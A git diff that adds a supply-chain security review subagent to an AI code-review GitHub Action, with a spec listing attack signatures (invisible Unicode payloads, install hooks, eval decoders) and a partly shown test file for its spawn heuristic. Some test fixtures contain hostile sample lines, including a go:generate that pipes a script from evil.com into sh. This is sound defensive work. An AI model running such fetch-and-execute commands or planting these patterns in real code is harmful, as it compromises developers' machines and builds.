diff --git a/claude/auto-review/action.yml b/claude/auto-review/action.yml
index aa3cc8a..524d30a 100644
--- a/claude/auto-review/action.yml
+++ b/claude/auto-review/action.yml
@@ -35,6 +35,10 @@ inputs:
     description: "Force data classification agent regardless of heuristic"
     required: false
     default: "false"
+  force_supply_chain_agent:
+    description: "Force supply-chain security agent regardless of heuristic"
+    required: false
+    default: "false"
 
 runs:
   using: "composite"
@@ -90,6 +94,23 @@ runs:
         echo "DATA_CLASSIFICATION_REASON=$REASON" >> $GITHUB_ENV
         echo "Data classification agent: spawn=$SPAWN reason=\"$REASON\""
 
+    - name: Determine if supply-chain security agent should spawn
+      shell: bash
+      env:
+        GH_TOKEN: ${{ github.token }}
+        GITHUB_TOKEN: ${{ github.token }}
+        GITHUB_REPOSITORY: ${{ github.repository }}
+        GITHUB_EVENT_PATH: ${{ github.event_path }}
+        FORCE_SUPPLY_CHAIN_AGENT: ${{ inputs.force_supply_chain_agent }}
+      run: |
+        SCRIPT_PATH="${{ github.action_path }}/scripts/should-spawn-supply-chain.js"
+        RESULT=$(node "$SCRIPT_PATH")
+        SPAWN=$(echo "$RESULT" | jq -r '.spawn')
+        REASON=$(echo "$RESULT" | jq -r '.reason')
+        echo "SPAWN_SUPPLY_CHAIN=$SPAWN" >> $GITHUB_ENV
+        echo "SUPPLY_CHAIN_REASON=$REASON" >> $GITHUB_ENV
+        echo "Supply-chain security agent: spawn=$SPAWN reason=\"$REASON\""
+
     - name: Set up review prompt
       shell: bash
       run: |
@@ -250,6 +271,30 @@ runs:
         - Sort all findings by severity: CRITICAL > HIGH > MEDIUM > LOW"
           fi
 
+          # Conditionally add supply-chain security subagent instructions
+          if [[ "$SPAWN_SUPPLY_CHAIN" == "true" ]]; then
+            PROMPT="$PROMPT
+
+        ---
+
+        ## SUPPLY-CHAIN SECURITY SUBAGENT
+
+        Based on PR analysis: ${SUPPLY_CHAIN_REASON}
+
+        Spawn ONE specialized subagent to check for supply-chain attack patterns (Glassworm campaign and similar).
+
+        ### Instructions:
+        Use the Task tool with subagent_type=\"general-purpose\" to launch the agent. In the prompt include:
+        1. \"Read your spec file at ${{ github.action_path }}/agents/review-supply-chain.md and follow its instructions.\"
+        2. PR number: ${{ github.event.pull_request.number }}, Repository: ${{ github.repository }}
+        3. The list of changed files in this PR
+
+        After the agent completes, merge its findings into your consolidated output.
+        - Use the agent's scl- prefixed IDs as-is
+        - Deduplicate if you found the same issue independently (prefer scl- prefixed ID)
+        - Sort all findings by severity: CRITICAL > HIGH > MEDIUM > LOW"
+          fi
+
           # Add project context
           if [[ -n "${{ inputs.project_context }}" ]]; then
             PROMPT="$PROMPT
diff --git a/claude/auto-review/agents/review-supply-chain.md b/claude/auto-review/agents/review-supply-chain.md
new file mode 100644
index 0000000..f101e9f
--- /dev/null
+++ b/claude/auto-review/agents/review-supply-chain.md
@@ -0,0 +1,183 @@
+# Supply-Chain Security Review Agent
+
+You are a specialized supply-chain security reviewer for pull requests. Your job is to detect patterns associated with supply-chain attacks across all ecosystems — malicious install hooks, obfuscated payloads, invisible code injection, and build-time code execution.
+
+## Background
+
+Supply-chain attacks exploit the trust developers place in their dependency ecosystem. Each package manager has its own auto-execution surface — code that runs automatically on install, build, or import without explicit user invocation.
+
+**The Glassworm campaign** (npm/Node.js) is one high-profile example: it injects payloads hidden with invisible Unicode characters (PUA range U+FE00–U+FE0F, U+E0100–U+E01EF), decoded at runtime via `eval(Buffer.from(...))`, and exfiltrates credentials via Solana smart contracts. But equivalent attack vectors exist in every ecosystem.
+
+**The invisible Unicode obfuscation technique is universal** — it works in any text file (`.kt`, `.swift`, `.rs`, `.dart`, `.py`, `.go`, etc.) because the characters are invisible in every editor and code review UI.
+
+## Focus Areas
+
+### 1. Auto-Execution Vectors (Install Hooks & Build Scripts)
+
+Each ecosystem has files that run code automatically. Flag additions or modifications to these as HIGH unless clearly justified:
+
+**npm / pnpm / yarn:**
+- `preinstall`, `postinstall`, `preuninstall` scripts in `package.json`
+- These execute automatically on `npm install` / `pnpm install` / `yarn install`
+
+**Rust / Cargo:**
+- `build.rs` build scripts — execute automatically during `cargo build`
+- `proc-macro` crates — execute at compile time
+- `[build-dependencies]` in `Cargo.toml` — dependencies that run at build time
+- A malicious `build.rs` with `Command::new` or `std::process::Command` can run arbitrary shell commands
+
+**Gradle (Kotlin / Android / Java):**
+- `build.gradle` / `build.gradle.kts` — runs arbitrary Kotlin/Groovy on sync or build
+- `settings.gradle` / `settings.gradle.kts` — plugin management, runs on project sync
+- `buildscript` blocks and `apply plugin` from untrusted sources
+- `classpath` additions from unknown repositories
+- Gradle init scripts (`init.gradle`) — execute on every Gradle invocation
+
+**CocoaPods (iOS / macOS):**
+- `.podspec` files with `script_phase` — runs shell commands on `pod install`
+- `.podspec` files with `prepare_command` — pre-install command execution
+- Swift Package Manager is safer (no arbitrary script execution on resolve)
+
+**Python / pip:**
+- `setup.py` with `cmdclass` — custom install commands that run on `pip install`
+- `setup.py` calling `subprocess`, `os.system`, or `exec()` — direct code execution on install
+- `setup.py` with `install_requires` combined with inline code
+
+**Go:**
+- `//go:generate` directives — run arbitrary commands via `go generate`
+- No install hooks, but generate directives can execute anything
+
+**Flutter / Dart:**
+- `pub` has no install hooks, but Flutter plugins include native build code (Gradle for Android, CocoaPods for iOS) which inherit those ecosystems' attack surfaces
+
+### 2. Suspicious Code Execution Patterns
+
+Flag new usage of dynamic code execution patterns in the diff:
+
+**JavaScript / Node.js:**
+- `eval()` — direct code execution. Flag as HIGH.
+- `new Function()` — Function constructor for dynamic code. Flag as HIGH.
+- `eval(Buffer.from(...))` — the Glassworm decoder pattern. Flag as **CRITICAL**.
+- `codePointAt()` referencing PUA hex ranges `0xFE00`–`0xFE0F` or `0xE0100`–`0xE01EF` — CRITICAL.
+- `eval()` with template literals — HIGH.
+
+**Rust:**
+- `Command::new` or `std::process::Command` in `build.rs` — arbitrary shell execution at build time.
+- `unsafe` blocks combined with FFI calls in build scripts.
+
+**Python:**
+- `exec()`, `eval()`, `compile()` — dynamic code execution.
+- `subprocess.Popen` with `shell=True`, `subprocess.call`, `subprocess.run` — shell execution.
+- `os.system()` — direct shell command.
+
+**Gradle / Groovy / Kotlin:**
+- `Runtime.getRuntime().exec()` — process execution.
+- `ProcessBuilder` — process spawning.
+- Dynamic dependency resolution from unknown URLs.
+
+**General (all languages):**
+- Hex escape sequences (`\x48\x65`) — potential obfuscation.
+- Unicode escape sequences (`\u0048\u0065`) — potential obfuscation.
+- Base64-encoded payloads combined with execution functions.
+
+### 3. Lockfile Anomalies
+
+Flag lockfile changes that don't correspond to manifest changes — this applies across all ecosystems:
+
+- **npm:** `package-lock.json` / `pnpm-lock.yaml` / `yarn.lock` changed without `package.json` dependency changes
+- **Rust:** `Cargo.lock` changed without `Cargo.toml` dependency changes
+- **Go:** `go.sum` changed without `go.mod` changes
+- **Ruby:** `Gemfile.lock` changed without `Gemfile` changes
+- **CocoaPods:** `Podfile.lock` changed without `Podfile` changes
+- **Dart/Flutter:** `pubspec.lock` changed without `pubspec.yaml` changes
+- **Python:** Lockfile changes without manifest changes
+
+For new dependencies in any ecosystem, verify they are well-known packages and not potential typosquats (e.g., `lodahs` instead of `lodash`, `c0lors` instead of `colors`, `reqeusts` instead of `requests`).
+
+### 4. Hidden / Obfuscated Content Detection
+
+For any file in the diff that contains apparently empty lines, empty strings, or template literals with no visible content:
+
+- Use **Grep** to search for invisible Unicode characters:
+  - Zero-width spaces: `\u200B`, `\u200C`, `\u200D`, `\uFEFF`
+  - PUA range: `\uE000`–`\uF8FF`, `\uFE00`–`\uFE0F`
+  - Variation selectors: `\uE0100`–`\uE01EF`
+- Use **Read** to examine the raw file content around suspicious lines
+- If a line appears visually empty but contains content, flag as **CRITICAL — potential obfuscated payload**
+
+**Do NOT attempt to use bash commands — Bash is not available in your toolset. Use only Read, Glob, Grep, Task, and WebFetch.**
+
+### 5. CI/Build Configuration Changes
+
+Be suspicious of PRs that modify build infrastructure without clear justification:
+
+- `.github/workflows/` files — especially changes that reduce security checks or add script execution
+- `Dockerfile` / `docker-compose.yml` — new RUN commands, base image changes
+- `Makefile` / build scripts — new targets that execute external code
+- Gradle wrapper (`gradlew`, `gradle-wrapper.properties`) — changes pointing to non-standard distribution URLs
+- `Cargo.toml` adding `[build-dependencies]` or `build = "build.rs"` entries
+- `.podspec` files adding `script_phase` blocks
+- Python `setup.cfg` adding `[options.entry_points]` with unexpected commands
+
+Flag PRs where a contributor modifies both source code AND CI/build configuration in ways that reduce security checks or add new script execution paths.
+
+## False-Positive Guardrails
+
+**CRITICAL: Minimize false positives. Follow these rules strictly:**
+
+- **Read full file context**, not just the diff. Understand why a pattern exists before flagging it.
+- **Don't flag test fixtures**: Test files demonstrating security patterns (e.g., testing an eval sanitizer) are expected.
+- **Don't flag documentation**: Markdown files discussing eval, security, or attack techniques are not threats.
+
+**Ecosystem-specific legitimate patterns:**
+
+- **npm:** `postinstall` hooks for well-known packages (`esbuild`, `sharp`, `node-gyp`, `prisma`, `bcrypt`, `better-sqlite3`) are normal.
+- **Rust:** `build.rs` for native FFI bindings (`openssl-sys`, `ring`, `libsqlite3-sys`, `cc` crate builds) is standard practice. Most Rust crates with C dependencies use `build.rs`.
+- **CocoaPods:** `script_phase` for resource generation (`R.swift`, `SwiftGen`, `SwiftLint`) and code generation tools is common.
+- **Python:** `setup.py` with `cmdclass` for Cython compilation, C extensions, or wheel building is normal. `install_requires` alone is not suspicious.
+- **Gradle:** `buildscript` with well-known plugins (`com.android.tools.build`, `org.jetbrains.kotlin`, `com.google.gms`, `com.google.firebase`) is standard.
+- **Go:** `//go:generate` for protobuf generation (`protoc-gen-go`), stringer, mockgen, and enumer is normal.
+- **Lockfile changes during dependency updates are normal**: Only flag lockfile-only changes when the corresponding manifest deps are unchanged.
+- **CI changes with clear commit messages are usually fine**: Focus on changes that remove security steps, add script execution, or modify permissions without explanation.
+
+## Severity Mapping
+
+- **CRITICAL**: Invisible Unicode in source files, `eval(Buffer.from(...))` decoder pattern, byte-count/content anomalies suggesting obfuscated payloads
+- **HIGH**: Install hooks / auto-execution scripts without justification (`postinstall`, `build.rs` with `Command::new`, `script_phase`, `setup.py` with `cmdclass`), `eval()` with template literals, `new Function()`, suspicious `//go:generate` targets
+- **MEDIUM**: Lockfile anomalies without manifest changes, CI config changes reducing security, suspicious typosquat-like dependency names, `buildscript`/`classpath` from unknown sources
+- **LOW**: CI config additions with unclear justification, minor eval patterns in non-sensitive contexts, `proc-macro` additions without clear purpose
+
+## Output Format
+
+Use the same `#### Issue N:` format as the main review. **All IDs MUST use the `scl-` prefix.**
+
+```
+#### Issue N: Brief description of the supply-chain concern
+**ID:** scl-{file-slug}-{semantic-slug}-{hash}
+**File:** path/to/file.ext:line
+**Severity:** CRITICAL/HIGH/MEDIUM/LOW
+**Category:** supply_chain_security
+
+**Context:**
+- **Pattern:** What supply-chain attack pattern was detected
+- **Risk:** Why this is concerning (reference known campaigns or ecosystem-specific vectors)
+- **Impact:** Potential consequences (credential theft, self-propagation, backdoor)
+- **Trigger:** When this becomes exploitable (on install, on build, on import, on generate)
+
+**Recommendation:** How to investigate and remediate (inspect bytes, remove hook, audit dependency, etc.)
+```
+
+**ID Generation:** `scl-{filename}-{2-4-key-terms}-{SHA256(path+desc).substr(0,4)}`
+Examples:
+- `scl-package-postinstall-hook-a3f1`
+- `scl-index-eval-buffer-decoder-b2c4`
+- `scl-lockfile-phantom-dep-e7d2`
+- `scl-build-rs-command-spawn-d4a9`
+- `scl-podspec-script-phase-c1b3`
+- `scl-setup-py-cmdclass-exec-f2e8`
+
+## If No Supply-Chain Issues Found
+
+If you find no supply-chain security issues after thorough analysis, respond with exactly:
+
+"No supply-chain security issues found."
diff --git a/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js
new file mode 100644
index 0000000..1ad94d6
--- /dev/null
+++ b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js
@@ -0,0 +1,623 @@
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { shouldSpawnSupplyChain, fetchPrFiles, fetchPrLabels } from '../should-spawn-supply-chain.js';
+import { ghApi } from '../lib/github-utils.js';
+
+vi.mock('../lib/github-utils.js', async () => {
+  const actual = await vi.importActual('../lib/github-utils.js');
+  return {
+    ...actual,
+    ghApi: vi.fn(),
+  };
+});
+
+describe('shouldSpawnSupplyChain', () => {
+  // ---- Dependency file triggers ---------------------------------------------
+
+  it('should spawn for package.json changes', () => {
+    const files = [{ filename: 'package.json', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for nested package.json', () => {
+    const files = [{ filename: 'packages/core/package.json', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for pnpm-lock.yaml changes', () => {
+    const files = [{ filename: 'pnpm-lock.yaml', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for yarn.lock changes', () => {
+    const files = [{ filename: 'yarn.lock', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for package-lock.json changes', () => {
+    const files = [{ filename: 'package-lock.json', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for Cargo.toml changes', () => {
+    const files = [{ filename: 'Cargo.toml', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for Cargo.lock changes', () => {
+    const files = [{ filename: 'Cargo.lock', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for go.mod changes', () => {
+    const files = [{ filename: 'go.mod', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for go.sum changes', () => {
+    const files = [{ filename: 'go.sum', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for Gemfile changes', () => {
+    const files = [{ filename: 'Gemfile', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for build.gradle changes', () => {
+    const files = [{ filename: 'build.gradle', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for build.gradle.kts changes', () => {
+    const files = [{ filename: 'app/build.gradle.kts', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for pom.xml changes', () => {
+    const files = [{ filename: 'pom.xml', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for Podfile changes', () => {
+    const files = [{ filename: 'ios/Podfile', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for pubspec.yaml changes', () => {
+    const files = [{ filename: 'pubspec.yaml', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  it('should spawn for pubspec.lock changes', () => {
+    const files = [{ filename: 'pubspec.lock', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('dependency manifest/lockfile');
+  });
+
+  // ---- CI/build config triggers ---------------------------------------------
+
+  it('should spawn for GitHub workflow changes', () => {
+    const files = [{ filename: '.github/workflows/ci.yml', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('CI/build configuration');
+  });
+
+  it('should spawn for Dockerfile changes', () => {
+    const files = [{ filename: 'Dockerfile', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('CI/build configuration');
+  });
+
+  it('should spawn for nested Dockerfile changes', () => {
+    const files = [{ filename: 'services/api/Dockerfile', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('CI/build configuration');
+  });
+
+  it('should spawn for docker-compose.yml changes', () => {
+    const files = [{ filename: 'docker-compose.yml', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('CI/build configuration');
+  });
+
+  it('should spawn for docker-compose.yaml changes', () => {
+    const files = [{ filename: 'docker-compose.yaml', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('CI/build configuration');
+  });
+
+  it('should spawn for Makefile changes', () => {
+    const files = [{ filename: 'Makefile', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('CI/build configuration');
+  });
+
+  it('should spawn for Jenkinsfile changes', () => {
+    const files = [{ filename: 'Jenkinsfile', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('CI/build configuration');
+  });
+
+  // ---- Build script/config triggers -----------------------------------------
+
+  it('should spawn for .npmrc changes', () => {
+    const files = [{ filename: '.npmrc', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for .yarnrc.yml changes', () => {
+    const files = [{ filename: '.yarnrc.yml', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for build.rs changes', () => {
+    const files = [{ filename: 'build.rs', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for nested build.rs changes', () => {
+    const files = [{ filename: 'crates/my-lib/build.rs', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for settings.gradle changes', () => {
+    const files = [{ filename: 'settings.gradle', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for settings.gradle.kts changes', () => {
+    const files = [{ filename: 'settings.gradle.kts', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for init.gradle changes', () => {
+    const files = [{ filename: 'init.gradle', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for gradle.properties changes', () => {
+    const files = [{ filename: 'gradle.properties', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for .podspec file changes', () => {
+    const files = [{ filename: 'MyLib.podspec', status: 'modified' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  it('should spawn for nested .podspec file changes', () => {
+    const files = [{ filename: 'ios/MyLib.podspec', status: 'added' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('build script/config');
+  });
+
+  // ---- Patch content triggers (JS/Node) -------------------------------------
+
+  it('should spawn when patch contains eval()', () => {
+    const files = [{ filename: 'src/utils.js', status: 'modified', patch: '+  eval(code)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains new Function()', () => {
+    const files = [{ filename: 'src/utils.js', status: 'modified', patch: '+  new Function("return " + str)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains eval(Buffer.from(...))', () => {
+    const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+  eval(Buffer.from(data, "base64"))' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should not spawn when patch contains standalone Buffer.from', () => {
+    const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+  Buffer.from(data, "base64")' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+  });
+
+  it('should spawn when patch contains codePointAt', () => {
+    const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+  str.codePointAt(i)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains fromCharCode', () => {
+    const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+  String.fromCharCode(code)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains hex escape sequences', () => {
+    const files = [{ filename: 'src/payload.js', status: 'modified', patch: '+  "\\x48\\x65\\x6c\\x6c\\x6f"' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains unicode escape sequences', () => {
+    const files = [{ filename: 'src/payload.js', status: 'modified', patch: '+  "\\u0048\\u0065"' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains postinstall', () => {
+    const files = [{ filename: 'src/setup.js', status: 'modified', patch: '+  "postinstall": "node setup.js"' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  // ---- Patch content triggers (Rust) ----------------------------------------
+
+  it('should spawn when patch contains Command::new', () => {
+    const files = [{ filename: 'build.rs', status: 'modified', patch: '+  Command::new("sh").arg("-c").arg(cmd)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains std::process::Command', () => {
+    const files = [{ filename: 'build.rs', status: 'modified', patch: '+use std::process::Command;' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains proc-macro', () => {
+    const files = [{ filename: 'Cargo.toml', status: 'modified', patch: '+proc-macro = true' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains build-dependencies', () => {
+    const files = [{ filename: 'Cargo.toml', status: 'modified', patch: '+[build-dependencies]' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  // ---- Patch content triggers (Gradle) --------------------------------------
+
+  it('should spawn when patch contains apply plugin', () => {
+    const files = [{ filename: 'build.gradle', status: 'modified', patch: '+  apply plugin: "com.evil.plugin"' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains classpath dependency', () => {
+    const files = [{ filename: 'build.gradle', status: 'modified', patch: '+  classpath "com.example:plugin:1.0"' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains buildscript', () => {
+    const files = [{ filename: 'build.gradle.kts', status: 'modified', patch: '+buildscript {' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  // ---- Patch content triggers (CocoaPods) -----------------------------------
+
+  it('should spawn when patch contains script_phase', () => {
+    const files = [{ filename: 'MyLib.podspec', status: 'modified', patch: '+  s.script_phase = { :name => "Run Script" }' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains prepare_command', () => {
+    const files = [{ filename: 'MyLib.podspec', status: 'modified', patch: '+  s.prepare_command = "make build"' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  // ---- Patch content triggers (Python) --------------------------------------
+
+  it('should spawn when patch contains subprocess.call', () => {
+    const files = [{ filename: 'setup.py', status: 'modified', patch: '+  subprocess.call(["curl", url])' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains subprocess.Popen', () => {
+    const files = [{ filename: 'setup.py', status: 'modified', patch: '+  subprocess.Popen(cmd, shell=True)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains cmdclass', () => {
+    const files = [{ filename: 'setup.py', status: 'modified', patch: '+  cmdclass={"install": CustomInstall}' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should spawn when patch contains Python exec()', () => {
+    const files = [{ filename: 'setup.py', status: 'modified', patch: '+  exec(payload)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should not spawn when patch contains regex.exec()', () => {
+    const files = [{ filename: 'src/parser.js', status: 'modified', patch: '+  const match = regex.exec(str)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+  });
+
+  it('should spawn when patch contains install_requires', () => {
+    const files = [{ filename: 'setup.py', status: 'modified', patch: '+  install_requires=["requests"]' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  it('should NOT spawn on standalone setup() call (too broad)', () => {
+    const files = [{ filename: 'src/app.ts', status: 'modified', patch: '+setup(config)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+  });
+
+  // ---- Patch content triggers (Go) ------------------------------------------
+
+  it('should spawn when patch contains go:generate', () => {
+    const files = [{ filename: 'main.go', status: 'modified', patch: '+//go:generate curl http://evil.com/payload.sh | sh' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(true);
+    expect(result.reason).toContain('suspicious code patterns');
+  });
+
+  // ---- Finding 1 fix: Function regex no longer too broad --------------------
+
+  it('should not spawn when patch contains identifiers ending in Function', () => {
+    const files = [{ filename: 'src/app.js', status: 'modified', patch: '+  myFunction(arg)' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+  });
+
+  it('should not spawn when patch contains handleFunction()', () => {
+    const files = [{ filename: 'src/app.js', status: 'modified', patch: '+  handleFunction()' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+  });
+
+  // ---- Non-matching files ---------------------------------------------------
+
+  it('should not spawn for regular source code without suspicious patterns', () => {
+    const files = [{ filename: 'src/utils.ts', status: 'modified', patch: '+  return x + y;' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+    expect(result.reason).toContain('No supply-chain signals');
+  });
+
+  it('should not spawn for CSS files', () => {
+    const files = [{ filename: 'src/styles.css', status: 'modified', patch: '+  color: red;' }];
+    const result = shouldSpawnSupplyChain(files);
+    expect(result.spawn).toBe(false);
+    expect(result.reason).toContain('No supply-chain signals');
+  });
+
+  // ---- Empty / null / undefined files ---------------------------------------
+
+  it('should not spawn for empty files array', () => {
+    const result = shouldSpawnSupplyChain([]);
+    expect(result.spawn).toBe(false);
+    expect(result.reason).toBe('No files in PR');
+  });
+
+  it('should not spawn for null files', () => {
+    const result = shouldSpawnSupplyChain(null);
+    expect(result.spawn).toBe(false);
